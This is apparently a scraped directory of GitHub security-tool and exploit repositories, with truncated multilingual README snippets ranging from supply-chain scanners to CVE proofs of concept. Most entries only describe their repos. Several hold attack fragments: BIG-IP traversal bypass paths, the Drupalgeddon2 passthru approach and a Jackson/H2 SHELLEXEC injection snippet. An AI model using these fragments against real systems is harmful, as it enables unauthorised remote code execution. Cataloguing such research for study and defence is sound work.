depx

depx 악성 패키지 및 공급망 인텔리전스 기능 • 설치 • 사용법 • depx 실행 • JSON • Discord 참여 depx 는 빠르고 수동적인passive 공급망 인텔리전스 CLI입니다. OpenSSF Malicious Packages 데이터MAL-, OSV 형식와 X Grok API에서 선별한 라이브 인텔리전스 피드를 매시간 갱신하여 대조함으로써 패키지가 알려진 악성하이재킹된 게시물, 자격 증명 탈취기, 설치 스크립트 백도어인지 여부를 알려줍니다. 몇 초 안에 네 가지 질문에 답합니다: 1. 최근에 무엇이 손상되었나요...

tartufo

!WARNING Этот проект больше не поддерживается активно. tartufo ищет секреты в git-репозиториях, глубоко исследуя историю коммитов и ветки. Это эффективно для обнаружения секретов, случайно попавших в коммиты. tartufo также может использоваться в git pre-commit скриптах для проверки изменений на...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Обновление: обход правил с помощью /hsqldb%0a/ для Java-десериализации или /hsqld%b /hsqldb; /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

ADModule

ADModule DLL, подписанная Microsoft, для модуля PowerShell ActiveDirectory Просто резервная копия модуля ActiveDirectory PowerShell от Microsoft из Server 2016 с установленными RSAT и модулем. DLL обычно находится по этому пути:...

nuclei-wordfence-cve

Nuclei + Wordfence = ♥ 85,025 Nuclei Templates for WordPress Security Scanning 🥳 Level up your WordPress security game! This project's got a treasure trove of fresh Nuclei templates for WordPress. Scan for weaknesses in Core, plugins, and themes – all based on the latest intel from Wordfence.com...

nuclei-wordfence-cve

Nuclei + Wordfence = ♥ 85,767 Nuclei Templates for WordPress Security Scanning 🥳 Level up your WordPress security game! This project's got a treasure trove of fresh Nuclei templates for WordPress. Scan for weaknesses in Core, plugins, and themes – all based on the latest intel from Wordfence.com...

bing-ip2hosts

Bing-ip2hosts Bing-ip2hosts is a Bing.com web scraper to discover hostnames by IP address. Description Bing-ip2hosts is a Bing.com web scraper that discovers hostnames by IP address. Bing is the flagship Microsoft search engine formerly known as MSN Search and Live Search. It provides a feature...

cloudfox

🦊 CloudFox 🦊 CloudFox помогает оценить ситуационную осведомлённость в незнакомых облачных средах. Это инструмент командной строки с открытым исходным кодом, созданный для помощи пентестерам и другим специалистам в области наступательной безопасности в поиске эксплуатируемых путей атак в облачной...

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC CVE-2025-8110 에 대한 개념 증명PoC으로, Gogs ≤ 0.13.3에서 PutContents API의 부적절한 심볼릭 링크 처리로 인한 인증된 임의 파일 쓰기 취약점입니다. 인증된 사용자는 .git/config를 가리키는 심볼릭 링크를 커밋한 다음, API를 사용해 이를 덮어쓰고 악성 sshCommand를 주입하여 원격 코드 실행을 유발할 수 있습니다. 면책 조항 교육 및 승인된 테스트 목적으로만 사용하십시오. 소유하지 않았거나 테스트에 대한 명시...

neo

Neo Превратите любое веб-приложение в API. Не нужен официальный API. Не требуется автоматизация браузера. Neo — это расширение Chrome, которое пассивно перехватывает все API-вызовы вашего браузера, изучает их шаблоны и позволяет ИИ или вам воспроизводить их напрямую. Проблема Сегодня у ИИ-агентов...

vulhub

Vulhub is an open-source collection of pre-built, ready-to-use vulnerable Docker environments. With just one command you can launch a vulnerable environment for security research, learning, or demonstration, no prior Docker experience required. 中文版本Chinese version Quick Start Install Docker examp...

agentic-threat-hunting-framework

Agentic Threat Hunting Framework ATHF Quick Start • Installation • Documentation • Examples Give your threat hunting program memory and agency. The Agentic Threat Hunting Framework ATHF is the memory and automation layer for your threat hunting program. It gives your hunts structure, persistence,...

CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS Сканер RCE без аутентификации Многопоточный сканер уязвимости CVE-2025-54322, неаутентифицированной уязвимости удаленного выполнения кода в прошивке XSpeeder SXZOS, затрагивающей 70 000+ хостов по всему миру. 📋 Содержание Об уязвимости Возможности Установка...

airflowscan

airflowscan Checklist and tools for increasing security of Apache Airflow. DISCLAIMER This project NOT AFFILIATED with the Apache Foundation and the Airflow project, and is not endorsed by them. Contents The purpose of this project is provide tools to increase security of Apache Airflow...

Drupalgeddon2

CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 Вдохновлено https://github.com/dreadlocked/Drupalgeddon2 Поддерживает: Drupal 8.3.9 / 8.4.6 / 8.5.1 URL user/register, атака на account/mail и параметр postrender с использованием PHP-функции passthru В...

CVE-2022-41218

Введение Эта уязвимость представляет собой уязвимость состояния гонки race condition, возникающую в drivers/media/dvb-core/dmxdev.c. Следовательно, состояние гонки может возникнуть в драйвере USB-устройства, использующем этот dmxdev. Эта уязвимость может быть использована для инициирования 3 UAF...

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Ruby on Rails Active Storage + libvips 임의 파일 읽기 → 조건부 원격 코드 실행RCE PoC 도구. 단일 파일, Python 3.11+ 순수 표준 라이브러리 제로 의존성 , MAT/HDF5 혼합 페이로드, 순수 Python PNG 픽셀 디코더, 오프셋 읽기, 키 복구, RCE 및 스캔 모드 내장. 취약점 개요 Rails는 클라이언트가 보고한 contenttype직접 업로드 엔드포인트을 신뢰하고, libvips는 파일의 magic...

mzap

mzap mzap is a Crystal CLI for multi-target ZAP scanning. It dispatches targets across one or more ZAP API hosts, supports optional wait mode, and can export reports. Features Scan commands: spider, ajaxspider, clientspider ZAP 2.16+, ascan, pscan API definition import for openapi, soap, graphql,...

mzap

mzap mzap — это Crystal CLI для многопоточного сканирования с ZAP. Он распределяет цели по одному или нескольким хостам ZAP API, поддерживает опциональный режим ожидания и может экспортировать отчеты. Возможности Команды сканирования: spider, ajaxspider, clientspider ZAP 2.16+, ascan, pscan Импор...

CVE-2019-12384

CVE-2019-12384 Jackson RCE And SSRF 0x01 python -m SimpleHTTPServer python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd throws java.io.IOException...